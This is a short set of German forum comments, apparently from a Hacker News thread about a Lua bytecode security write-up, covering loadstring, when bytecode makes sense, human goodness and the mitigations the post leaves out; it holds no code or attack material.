    • Wenn der Bytecode-Interpreter Bugs hat, kann selbst in einer Umgebung mit deaktiviertem loadstring die Ausführung beliebigen Bytecodes möglich sein
  • Ich bin wirklich froh, dass so fähige Leute auf der guten Seite stehen

    • Das zeigt wohl, wie viele Menschen von Natur aus gut sind oder zumindest keinen Schaden anrichten. Ich weiß nicht, welches Wort im Englischen dafür passt
      Nachrichtenmedien bringen einen dazu, das Gegenteil zu glauben, und die durchschnittlichen Kommentare unter solchen Nachrichten verstärken diesen Glauben noch, aber wenn das wirklich so wäre, wie könnten dann die vielen Annehmlichkeiten sowie medizinischen und sozialen Unterstützungsprogramme existieren, die wir genießen
      Das heißt nicht, dass es keine Probleme auf der Welt gibt, aber es gibt eindeutig viel mehr konstruktive Menschen als destruktive
      Ich komme gerade aus einem HN-Thread zu den Panama Papers, deshalb ist mir dieser Gedanke besonders präsent. Dort herrschte eine zynische Stimmung, als seien alle Reichen böse und alle völlig einer Strafverfolgung entkommen, aber einige Kommentare haben gut herausgestellt, dass beides in Wirklichkeit nicht stimmt. Man muss nur etwas weiter im Thread lesen und sich nicht vom Zynismus mitreißen lassen
  • Ich finde, Lua-Bytecode sollte außerhalb von Embedded Systems, denen die Ressourcen fehlen, um den Lua-Quellcode-Parser laufen zu lassen, niemals verwendet werden
    Abgesehen von Sicherheitslücken scheint mir der einzige sinnvolle Anwendungsfall proprietäre Closed-Source-Programme zu sein

  • Vielleicht habe ich es übersehen, und ich gebe zu, dass ich den hinteren Teil nur überflogen habe, aber der Autor scheint überhaupt nicht darauf einzugehen, welche Mitigationsmaßnahmen tatsächlich umgesetzt wurden. Darüber würde ich gern mehr hören